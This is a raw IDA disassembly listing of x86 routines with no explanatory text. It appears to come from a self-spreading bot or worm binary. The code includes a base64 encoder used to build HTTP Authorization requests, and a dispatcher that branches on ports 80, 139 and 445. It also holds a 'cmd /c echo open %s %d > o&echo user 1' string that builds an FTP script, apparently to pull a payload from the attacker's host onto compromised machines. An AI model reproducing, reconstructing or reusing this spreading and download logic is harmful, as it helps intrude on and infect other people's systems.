sub_40D030	proc near		; CODE XREF: sub_40D07C+2Dp

var_10		= qword	ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		and	dword ptr [ebp+var_8+4], 0
		shl	eax, 3
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		fmul	dbl_427690
		call	sub_41C798
		and	dword ptr [ebp+var_8+4], 0
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		push	ecx
		push	ecx		; double
		fst	[ebp+var_8]
		fmul	dbl_427688
		fstp	[esp+10h+var_10]
		call	sub_41C679
		fadd	st, st
		pop	ecx
		pop	ecx
		fadd	[ebp+var_8]
		call	sub_41C798
		inc	eax
		leave
		retn
sub_40D030	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D07C	proc near		; CODE XREF: sub_40D21E+24p

var_40		= qword	ptr -40h

		mov	eax, offset loc_426DF7
		call	sub_41CC64
		sub	esp, 2Ch
		mov	al, [ebp+13h]
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		lea	ecx, [ebp-38h]
		push	edi
		mov	[ebp-20h], edi
		mov	[ebp-38h], al
		call	sub_40D6B3
		push	1
		pop	ebx
		push	dword ptr [ebp+10h]
		mov	[ebp-4], ebx
		call	sub_40D030
		cmp	[ebp-2Ch], eax
		pop	ecx
		jnb	short loc_40D0BE
		push	edi
		push	eax
		lea	ecx, [ebp-38h]
		call	sub_40D62E


loc_40D0BE:				; CODE XREF: sub_40D07C+36j
		cmp	[ebp+10h], edi
		mov	[ebp-18h], edi
		jbe	loc_40D1DB
		mov	ebx, [ebp+10h]


loc_40D0CD:				; CODE XREF: sub_40D07C+156j
		cmp	dword ptr [ebp+10h], 3
		jb	short loc_40D0D7
		push	3
		jmp	short loc_40D0E9
; ---------------------------------------------------------------------------


loc_40D0D7:				; CODE XREF: sub_40D07C+55j
		cmp	dword ptr [ebp+10h], 2
		jnz	short loc_40D0E1
		push	2
		jmp	short loc_40D0E9
; ---------------------------------------------------------------------------


loc_40D0E1:				; CODE XREF: sub_40D07C+5Fj
		cmp	dword ptr [ebp+10h], 1
		jnz	short loc_40D0EA
		push	1


loc_40D0E9:				; CODE XREF: sub_40D07C+59j
					; sub_40D07C+63j
		pop	ebx


loc_40D0EA:				; CODE XREF: sub_40D07C+69j
		mov	[ebp-28h], ebx
		mov	[ebp-24h], edi
		fild	qword ptr [ebp-28h]
		push	ecx
		push	ecx		; double
		fmul	dbl_4276A0
		fstp	[esp+40h+var_40]
		call	sub_41C7BF
		pop	ecx
		pop	ecx
		call	sub_41C798
		cmp	ebx, edi
		mov	[ebp-1Ch], eax
		jbe	short loc_40D129
		mov	esi, [ebp+0Ch]
		mov	ecx, ebx
		mov	edx, ecx
		lea	edi, [ebp-10h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		xor	edi, edi


loc_40D129:				; CODE XREF: sub_40D07C+93j
		mov	cl, [ebp-10h]
		mov	dl, [ebp-10h]
		sar	cl, 2
		and	cl, 3Fh
		and	dl, 3
		mov	[ebp-14h], cl
		mov	cl, [ebp-0Fh]
		sar	cl, 4
		and	cl, 0Fh
		add	[ebp+0Ch], ebx
		shl	dl, 4
		add	cl, dl
		mov	dl, [ebp-0Fh]
		mov	[ebp-13h], cl
		mov	cl, [ebp-0Eh]
		sar	cl, 6
		and	dl, 0Fh
		sub	[ebp+10h], ebx
		and	cl, 3
		xor	esi, esi
		shl	dl, 2
		add	cl, dl
		mov	[ebp-12h], cl
		mov	cl, [ebp-0Eh]
		and	cl, 3Fh
		cmp	eax, edi
		mov	[ebp-11h], cl
		jbe	short loc_40D197
		add	[ebp-18h], eax


loc_40D17B:				; CODE XREF: sub_40D07C+119j
		movsx	eax, byte ptr [ebp+esi-14h]
		lea	ecx, [ebp-38h]
		mov	al, byte_432424[eax]
		push	eax
		push	1
		call	sub_40D4B0
		inc	esi
		cmp	esi, [ebp-1Ch]
		jb	short loc_40D17B


loc_40D197:				; CODE XREF: sub_40D07C+FAj
		cmp	dword ptr [ebp-18h], 48h
		jb	short loc_40D1B5
		push	dword ptr [ebp+14h]
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	ecx, [ebp-38h]
		push	dword ptr [ebp+14h]
		call	sub_40D509
		mov	[ebp-18h], edi


loc_40D1B5:				; CODE XREF: sub_40D07C+11Fj
		push	4
		pop	esi
		cmp	[ebp-1Ch], esi
		jnb	short loc_40D1CF
		sub	esi, [ebp-1Ch]


loc_40D1C0:				; CODE XREF: sub_40D07C+151j
		push	3Dh
		push	1
		lea	ecx, [ebp-38h]
		call	sub_40D4B0
		dec	esi
		jnz	short loc_40D1C0


loc_40D1CF:				; CODE XREF: sub_40D07C+13Fj
		cmp	[ebp+10h], edi
		ja	loc_40D0CD
		push	1
		pop	ebx


loc_40D1DB:				; CODE XREF: sub_40D07C+48j
		mov	esi, [ebp+8]
		mov	al, [ebp-38h]
		push	edi
		mov	ecx, esi
		mov	[esi], al
		call	sub_40D6B3
		push	dword_427698
		lea	eax, [ebp-38h]
		mov	ecx, esi
		push	edi
		push	eax
		call	sub_40D560
		mov	[ebp-20h], ebx
		and	byte ptr [ebp-4], 0
		push	ebx
		lea	ecx, [ebp-38h]
		call	sub_40D6B3
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40D07C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D21E	proc near		; CODE XREF: ___:0040D41Bp
		mov	eax, offset loc_426E14
		call	sub_41CC64
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		push	offset dword_43D7D8
		lea	eax, [ebp-1Ch]
		push	dword ptr [ebp+10h]
		xor	ebx, ebx
		mov	[ebp-4], ebx
		push	dword ptr [ebp+0Ch]
		push	eax
		call	sub_40D07C
		mov	eax, [ebp+1Ch]
		mov	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 1
		lea	esi, [ecx+eax+36h]
		push	esi
		call	sub_41B4D5
		mov	edi, eax
		add	esp, 14h
		cmp	edi, ebx
		jnz	short loc_40D268
		xor	bl, bl
		jmp	short loc_40D2AC
; ---------------------------------------------------------------------------


loc_40D268:				; CODE XREF: sub_40D21E+44j
		mov	ecx, [ebp-18h]
		mov	eax, offset dword_4276A8
		cmp	ecx, ebx
		jnz	short loc_40D276
		mov	ecx, eax


loc_40D276:				; CODE XREF: sub_40D21E+54j
		cmp	[ebp+18h], ebx
		jz	short loc_40D27E
		mov	eax, [ebp+18h]


loc_40D27E:				; CODE XREF: sub_40D21E+5Bj
		push	ecx
		push	eax
		push	offset aGetHttp1_0Host ; "GET /	HTTP/1.0\r\nHost: %s\r\nAuthorization"...
		push	esi
		push	edi
		call	sub_41B980
		add	esp, 14h
		push	ebx
		push	esi
		push	edi
		push	dword ptr [ebp+8]
		call	dword_4CB674
		cmp	eax, esi
		jz	short loc_40D2A3
		xor	bl, bl
		jmp	short loc_40D2A5
; ---------------------------------------------------------------------------


loc_40D2A3:				; CODE XREF: sub_40D21E+7Fj
		mov	bl, 1


loc_40D2A5:				; CODE XREF: sub_40D21E+83j
		push	edi
		call	sub_41B0B1
		pop	ecx


loc_40D2AC:				; CODE XREF: sub_40D21E+48j
		and	byte ptr [ebp-4], 0
		push	1
		lea	ecx, [ebp-1Ch]
		call	sub_40D6B3
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	1
		lea	ecx, [ebp+14h]
		call	sub_40D6B3
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	al, bl
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40D21E	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		and	byte ptr [ebp-420h], 0
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp-41Fh]
		push	8Fh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp-420h]
		push	offset sub_4325D0
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		mov	eax, offset byte_429108
		push	eax
		push	eax
		movzx	eax, word ptr dword_4CB360
		push	eax
		push	dword ptr [ebp+8]
		call	sub_40AC0F
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "...
		lea	eax, [ebp-391h]
		push	400h
		push	eax
		call	sub_41B980
		add	eax, 90h
		push	eax
		lea	eax, [ebp-420h]
		push	eax
		push	164h
		lea	eax, [ebp-8]
		push	offset sub_432468
		push	eax
		call	sub_40CADA
		xor	esi, esi
		add	esp, 30h
		cmp	[ebp-4], esi
		jnz	short loc_40D377
		xor	eax, eax
		jmp	loc_40D4A3
; ---------------------------------------------------------------------------


loc_40D377:				; CODE XREF: ___:0040D36Ej
		mov	[ebp-0Ch], esi


loc_40D37A:				; CODE XREF: ___:0040D47Aj
		test	esi, esi
		jnz	loc_40D480
		push	6
		push	1
		push	2
		call	near ptr 71AB3C22h
		nop
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40D468
		xor	eax, eax
		lea	edi, [ebp-1Ah]
		stosd
		push	dword ptr [ebp+0A8h]
		stosd
		stosd
		stosw
		mov	word ptr [ebp-1Ch], 2
		call	dword_4CB624
		mov	[ebp-1Ah], ax
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4CB664
		mov	[ebp-18h], eax
		lea	eax, [ebp-1Ch]
		push	10h
		push	eax
		push	ebx
		call	dword_4CB5CC
		cmp	eax, 0FFFFFFFFh
		jz	loc_40D45D
		cmp	dword ptr [ebp+0A8h], 50h
		jnz	short loc_40D425
		mov	al, [ebp+0C3h]
		sub	esp, 10h
		mov	esi, esp
		mov	[ebp-20h], esp
		push	0
		mov	ecx, esi
		mov	[esi], al
		call	sub_40D6B3
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+0Ch]
		push	eax
		mov	ecx, esi
		call	sub_40D6EF
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40D21E
		add	esp, 1Ch
		jmp	short loc_40D45A
; ---------------------------------------------------------------------------


loc_40D425:				; CODE XREF: ___:0040D3E3j
		cmp	dword ptr [ebp+0A8h], 8Bh
		jnz	short loc_40D43F
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40CFDE
		jmp	short loc_40D457
; ---------------------------------------------------------------------------


loc_40D43F:				; CODE XREF: ___:0040D42Fj
		cmp	dword ptr [ebp+0A8h], 1BDh
		jnz	short loc_40D45D
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40CF04


loc_40D457:				; CODE XREF: ___:0040D43Dj
		add	esp, 0Ch


loc_40D45A:				; CODE XREF: ___:0040D423j
		movzx	esi, al


loc_40D45D:				; CODE XREF: ___:0040D3D6j
					; ___:0040D449j
		push	ebx
		call	dword_4CB6BC
		test	esi, esi
		jnz	short loc_40D473


loc_40D468:				; CODE XREF: ___:0040D393j
		push	3E8h
		call	near ptr 2670535h
		nop


loc_40D473:				; CODE XREF: ___:0040D466j
		inc	dword ptr [ebp-0Ch]
		cmp	dword ptr [ebp-0Ch], 2
		jl	loc_40D37A


loc_40D480:				; CODE XREF: ___:0040D37Cj
		lea	ecx, [ebp-8]
		call	sub_40C8FF
		test	esi, esi
		jz	short loc_40D4A1
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		inc	dword_431AD0[eax]
		lea	eax, dword_431AD0[eax]


loc_40D4A1:				; CODE XREF: ___:0040D48Aj
		mov	eax, esi


loc_40D4A3:				; CODE XREF: ___:0040D372j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426DD8


loc_40D4A8:				; CODE XREF: sub_426DD8+3j
					; ___:00426DF1j ...
		push	1
		call	sub_40D6B3
		retn
; END OF FUNCTION CHUNK	FOR sub_426DD8

; =============== S U B	R O U T	I N E =======================================



sub_40D4B0	proc near		; CODE XREF: sub_40D07C+110p
					; sub_40D07C+14Bp

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, dword_427698
		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_40D4CA
		call	sub_42669A


loc_40D4CA:				; CODE XREF: sub_40D4B0+13j
		test	ebx, ebx
		jbe	short loc_40D501
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_40D62E
		test	al, al
		jz	short loc_40D501
		movsx	eax, [esp+0Ch+arg_4]
		push	ebx
		push	eax
		mov	eax, [esi+4]
		add	eax, [esi+8]
		push	eax
		call	sub_41B590
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0


loc_40D501:				; CODE XREF: sub_40D4B0+1Cj
					; sub_40D4B0+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D4B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D509	proc near		; CODE XREF: sub_40D07C+131p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, dword_427698
		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_40D523
		call	sub_42669A


loc_40D523:				; CODE XREF: sub_40D509+13j
		test	ebx, ebx
		jbe	short loc_40D558
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_40D62E
		test	al, al
		jz	short loc_40D558
		mov	eax, [esi+8]
		push	ebx
		push	[esp+10h+arg_0]
		add	eax, [esi+4]
		push	eax
		call	sub_41C310
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [edi+eax], 0


loc_40D558:				; CODE XREF: sub_40D509+1Cj
					; sub_40D509+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D509	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D560	proc near		; CODE XREF: sub_40D07C+17Cp
					; sub_4265B0+15p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		mov	edi, ecx
		cmp	[ebx+8], eax
		jnb	short loc_40D578
		call	sub_426573


loc_40D578:				; CODE XREF: sub_40D560+11j
		mov	eax, [ebx+8]
		mov	ecx, [ebp+arg_4]
		mov	esi, eax
		sub	esi, ecx
		cmp	[ebp+arg_8], esi
		jnb	short loc_40D58A
		mov	esi, [ebp+arg_8]


loc_40D58A:				; CODE XREF: sub_40D560+25j
		cmp	edi, ebx
		jnz	short loc_40D5AC
		push	dword_427698
		add	esi, ecx
		mov	ecx, edi
		push	esi
		call	sub_40D724
		push	[ebp+arg_4]
		mov	ecx, edi
		push	0
		call	sub_40D724
		jmp	short loc_40D625
; ---------------------------------------------------------------------------


loc_40D5AC:				; CODE XREF: sub_40D560+2Cj
		test	esi, esi
		jbe	short loc_40D5EF
		cmp	esi, eax
		jnz	short loc_40D5EF
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D5C0
		mov	eax, offset dword_4276A8


loc_40D5C0:				; CODE XREF: sub_40D560+59j
		cmp	byte ptr [eax-1], 0FEh
		jnb	short loc_40D5EF
		push	1
		mov	ecx, edi
		call	sub_40D6B3
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D5DB
		mov	eax, offset dword_4276A8


loc_40D5DB:				; CODE XREF: sub_40D560+74j
		mov	[edi+4], eax
		mov	ecx, [ebx+8]
		mov	[edi+8], ecx
		mov	ecx, [ebx+0Ch]
		mov	[edi+0Ch], ecx
		inc	byte ptr [eax-1]
		jmp	short loc_40D625
; ---------------------------------------------------------------------------


loc_40D5EF:				; CODE XREF: sub_40D560+4Ej
					; sub_40D560+52j ...
		push	1
		push	esi
		mov	ecx, edi
		call	sub_40D62E
		test	al, al
		jz	short loc_40D625
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D609
		mov	eax, offset dword_4276A8


loc_40D609:				; CODE XREF: sub_40D560+A2j
		mov	ecx, [ebp+arg_4]
		push	esi
		add	eax, ecx
		push	eax
		push	dword ptr [edi+4]
		call	sub_41C310
		mov	eax, [edi+4]
		add	esp, 0Ch
		mov	[edi+8], esi
		and	byte ptr [eax+esi], 0


loc_40D625:				; CODE XREF: sub_40D560+4Aj
					; sub_40D560+8Dj ...
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_40D560	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D62E	proc near		; CODE XREF: sub_40D07C+3Dp
					; sub_40D4B0+28p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		jbe	short loc_40D640
		call	sub_42669A


loc_40D640:				; CODE XREF: sub_40D62E+Bj
		mov	ecx, [esi+4]
		xor	edx, edx
		cmp	ecx, edx
		jz	short loc_40D669
		mov	al, [ecx-1]
		cmp	al, dl
		jz	short loc_40D669
		cmp	al, 0FFh
		jz	short loc_40D669
		cmp	edi, edx
		jnz	short loc_40D6A4
		dec	al
		push	edx
		mov	[ecx-1], al


loc_40D65E:				; CODE XREF: sub_40D62E+47j
		mov	ecx, esi
		call	sub_40D6B3


loc_40D665:				; CODE XREF: sub_40D62E+4Bj
					; sub_40D62E+52j
		xor	al, al
		jmp	short loc_40D6AE
; ---------------------------------------------------------------------------


loc_40D669:				; CODE XREF: sub_40D62E+19j
					; sub_40D62E+20j ...
		cmp	edi, edx
		jnz	short loc_40D682
		cmp	[esp+8+arg_4], dl
		jz	short loc_40D677
		push	1
		jmp	short loc_40D65E
; ---------------------------------------------------------------------------


loc_40D677:				; CODE XREF: sub_40D62E+43j
		cmp	ecx, edx
		jz	short loc_40D665
		mov	[esi+8], edx
		mov	[ecx], dl
		jmp	short loc_40D665
; ---------------------------------------------------------------------------


loc_40D682:				; CODE XREF: sub_40D62E+3Dj
		cmp	[esp+8+arg_4], dl
		jz	short loc_40D69F
		mov	eax, [esi+0Ch]
		cmp	eax, 1Fh
		ja	short loc_40D694
		cmp	eax, edi
		jnb	short loc_40D6AC


loc_40D694:				; CODE XREF: sub_40D62E+60j
		push	1
		mov	ecx, esi
		call	sub_40D6B3
		jmp	short loc_40D6A4
; ---------------------------------------------------------------------------


loc_40D69F:				; CODE XREF: sub_40D62E+58j
		cmp	[esi+0Ch], edi
		jnb	short loc_40D6AC


loc_40D6A4:				; CODE XREF: sub_40D62E+28j
					; sub_40D62E+6Fj
		push	edi
		mov	ecx, esi
		call	sub_40D78B


loc_40D6AC:				; CODE XREF: sub_40D62E+64j
					; sub_40D62E+74j
		mov	al, 1


loc_40D6AE:				; CODE XREF: sub_40D62E+39j
		pop	edi
		pop	esi
		retn	8
sub_40D62E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D6B3	proc near		; CODE XREF: sub_40D07C+1Fp
					; sub_40D07C+16Ap ...

arg_0		= byte ptr  4

		cmp	[esp+arg_0], 0
		push	esi
		mov	esi, ecx
		jz	short loc_40D6DF
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_40D6DF
		lea	ecx, [eax-1]
		mov	al, [eax-1]
		test	al, al
		jz	short loc_40D6D8
		cmp	al, 0FFh
		jz	short loc_40D6D8
		dec	al
		mov	[ecx], al
		jmp	short loc_40D6DF
; ---------------------------------------------------------------------------


loc_40D6D8:				; CODE XREF: sub_40D6B3+19j
					; sub_40D6B3+1Dj
		push	ecx
		call	sub_41CC83
		pop	ecx


loc_40D6DF:				; CODE XREF: sub_40D6B3+8j
					; sub_40D6B3+Fj ...
		and	dword ptr [esi+4], 0
		and	dword ptr [esi+8], 0
		and	dword ptr [esi+0Ch], 0
		pop	esi
		retn	4
sub_40D6B3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D6EF	proc near		; CODE XREF: ___:0040D40Fp
					; sub_40D848+28p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		push	1
		mov	esi, ecx
		push	edi
		call	sub_40D62E
		test	al, al
		jz	short loc_40D71D
		push	edi
		push	[esp+0Ch+arg_0]
		push	dword ptr [esi+4]
		call	sub_41C310
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0


loc_40D71D:				; CODE XREF: sub_40D6EF+12j
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
sub_40D6EF	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D724	proc near		; CODE XREF: sub_40D560+39p
					; sub_40D560+45p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, ecx
		cmp	[edi+8], esi
		jnb	short loc_40D737
		call	sub_426573


loc_40D737:				; CODE XREF: sub_40D724+Cj
		mov	ecx, edi
		call	sub_40D848
		mov	eax, [edi+8]
		mov	ebx, [esp+0Ch+arg_4]
		sub	eax, esi
		cmp	eax, ebx
		jnb	short loc_40D74D
		mov	ebx, eax


loc_40D74D:				; CODE XREF: sub_40D724+25j
		test	ebx, ebx
		jbe	short loc_40D783
		mov	ecx, [edi+4]
		sub	eax, ebx
		add	ecx, esi
		push	eax
		lea	eax, [ecx+ebx]
		push	eax
		push	ecx
		call	sub_41CC90
		mov	esi, [edi+8]
		add	esp, 0Ch
		sub	esi, ebx
		mov	ecx, edi
		push	0
		push	esi
		call	sub_40D62E
		test	al, al
		jz	short loc_40D783
		mov	eax, [edi+4]
		mov	[edi+8], esi
		and	byte ptr [esi+eax], 0


loc_40D783:				; CODE XREF: sub_40D724+2Bj
					; sub_40D724+53j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D724	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D78B	proc near		; CODE XREF: sub_40D62E+79p
		mov	eax, offset loc_426E20
		call	sub_41CC64
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		or	edi, 1Fh
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		mov	[ebp-10h], esp
		mov	[ebp-14h], esi
		jbe	short loc_40D7B1
		mov	edi, [ebp+8]


loc_40D7B1:				; CODE XREF: sub_40D78B+21j
		and	dword ptr [ebp-4], 0
		lea	eax, [edi+2]
		test	eax, eax
		jge	short loc_40D7BE
		xor	eax, eax


loc_40D7BE:				; CODE XREF: sub_40D78B+2Fj
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	[ebp+8], eax
		jmp	short loc_40D7EF
; ---------------------------------------------------------------------------
		mov	eax, [ebp+8]
		mov	[ebp-18h], eax
		add	eax, 2
		test	eax, eax
		jge	short loc_40D7D9
		xor	eax, eax


loc_40D7D9:				; CODE XREF: sub_40D78B+4Aj
		push	eax
		call	sub_41CFC5
		mov	[ebp+8], eax
		pop	ecx
		mov	eax, offset loc_40D7E9
		retn
; ---------------------------------------------------------------------------


loc_40D7E9:				; DATA XREF: sub_40D78B+58o
		mov	esi, [ebp-14h]
		mov	edi, [ebp-18h]


loc_40D7EF:				; CODE XREF: sub_40D78B+3Dj
		mov	eax, [esi+8]
		test	eax, eax
		jbe	short loc_40D80D
		cmp	eax, edi
		jbe	short loc_40D7FC
		mov	eax, edi


loc_40D7FC:				; CODE XREF: sub_40D78B+6Dj
		push	eax
		mov	eax, [ebp+8]
		push	dword ptr [esi+4]
		inc	eax
		push	eax
		call	sub_41C310
		add	esp, 0Ch


loc_40D80D:				; CODE XREF: sub_40D78B+69j
		mov	ebx, [esi+8]
		push	1
		mov	ecx, esi
		call	sub_40D6B3
		mov	eax, [ebp+8]
		inc	eax
		mov	[esi+4], eax
		and	byte ptr [eax-1], 0
		cmp	ebx, edi
		mov	[esi+0Ch], edi
		ja	short loc_40D82D
		mov	edi, ebx


loc_40D82D:				; CODE XREF: sub_40D78B+9Ej
		mov	eax, [esi+4]
		mov	ecx, [ebp-0Ch]
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
sub_40D78B	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D848	proc near		; CODE XREF: sub_40D724+15p
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, [edi+4]
		test	esi, esi
		jz	short loc_40D875
		mov	al, [esi-1]
		test	al, al
		jz	short loc_40D875
		cmp	al, 0FFh
		jz	short loc_40D875
		push	1
		call	sub_40D6B3
		push	esi
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	esi
		mov	ecx, edi
		call	sub_40D6EF


loc_40D875:				; CODE XREF: sub_40D848+9j
					; sub_40D848+10j ...
		pop	edi
		pop	esi
		retn
sub_40D848	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D878	proc near		; DATA XREF: ___:00429008o
		test	byte_4DBC44, 1
		jnz	short loc_40D888
		or	byte_4DBC44, 1


loc_40D888:				; CODE XREF: sub_40D878+7j
		jmp	$+5
		push	offset nullsub_1
		call	sub_41D040
		pop	ecx
		retn
sub_40D878	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40D89A	proc near		; DATA XREF: ___:0042900Co
		jmp	$+5
sub_40D89A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40D89F	proc near
		mov	eax, dword_432888
		add	eax, 6
		mov	dword_4CE344, eax
		retn
sub_40D89F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D8AD	proc near		; CODE XREF: sub_40D8AD+D0p
					; ___:0040DE0Cp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_7		= byte ptr  0Fh
arg_C		= word ptr  14h
arg_14		= dword	ptr  1Ch
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= byte ptr  30h
arg_2B		= byte ptr  33h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_28], 0
		push	ebx
		push	esi
		push	edi
		jz	short loc_40D8C1
		or	[ebp+arg_7], 1
		jmp	short loc_40D8C5
; ---------------------------------------------------------------------------


loc_40D8C1:				; CODE XREF: sub_40D8AD+Cj
		and	[ebp+arg_7], 0FEh


loc_40D8C5:				; CODE XREF: sub_40D8AD+12j
		mov	ecx, [ebp+arg_24]
		mov	ebx, [ebp+arg_20]
		movzx	eax, cx
		lea	edx, [ebx+18h]
		cmp	edx, eax
		ja	short loc_40D8E9
		or	[ebp+arg_7], 2
		and	[ebp+arg_2B], 0
		lea	eax, [ebx+18h]
		mov	[ebp+arg_14], ebx
		mov	[ebp+arg_C], ax
		jmp	short loc_40D8FB
; ---------------------------------------------------------------------------


loc_40D8E9:				; CODE XREF: sub_40D8AD+26j
		add	eax, 0FFFFFFE8h
		and	[ebp+arg_7], 0FDh
		mov	[ebp+arg_C], cx
		mov	[ebp+arg_14], eax
		mov	[ebp+arg_2B], 1


loc_40D8FB:				; CODE XREF: sub_40D8AD+3Aj
		movzx	eax, [ebp+arg_C]
		push	eax
		mov	[ebp+var_4], eax
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		mov	[ebp+arg_20], eax
		jz	loc_40D994
		push	6
		lea	esi, [ebp+arg_4]
		pop	ecx
		mov	edi, eax
		rep movsd
		mov	edi, [ebp+arg_14]
		mov	esi, [ebp+arg_1C]
		push	edi
		add	eax, 18h
		push	esi
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	0
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_20]
		push	[ebp+arg_0]
		nop
		call	near ptr 26E0000h
		test	eax, eax
		jz	short loc_40D98B
		mov	eax, [ebp+var_4]
		cmp	[ebp+var_8], eax
		jnz	short loc_40D98B
		push	[ebp+arg_20]
		call	sub_41B0B1
		cmp	[ebp+arg_2B], 0
		pop	ecx
		jz	short loc_40D987
		push	0
		sub	ebx, edi
		push	[ebp+arg_24]
		add	edi, esi
		lea	esi, [ebp+arg_4]
		push	ebx
		push	edi
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	[ebp+arg_0]
		rep movsd
		call	sub_40D8AD
		add	esp, 2Ch
		jmp	short loc_40D996
; ---------------------------------------------------------------------------


loc_40D987:				; CODE XREF: sub_40D8AD+B3j
		mov	al, 1
		jmp	short loc_40D996
; ---------------------------------------------------------------------------


loc_40D98B:				; CODE XREF: sub_40D8AD+9Cj
					; sub_40D8AD+A4j
		push	[ebp+arg_20]
		call	sub_41B0B1
		pop	ecx


loc_40D994:				; CODE XREF: sub_40D8AD+61j
		xor	al, al


loc_40D996:				; CODE XREF: sub_40D8AD+D8j
					; sub_40D8AD+DCj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40D8AD	endp

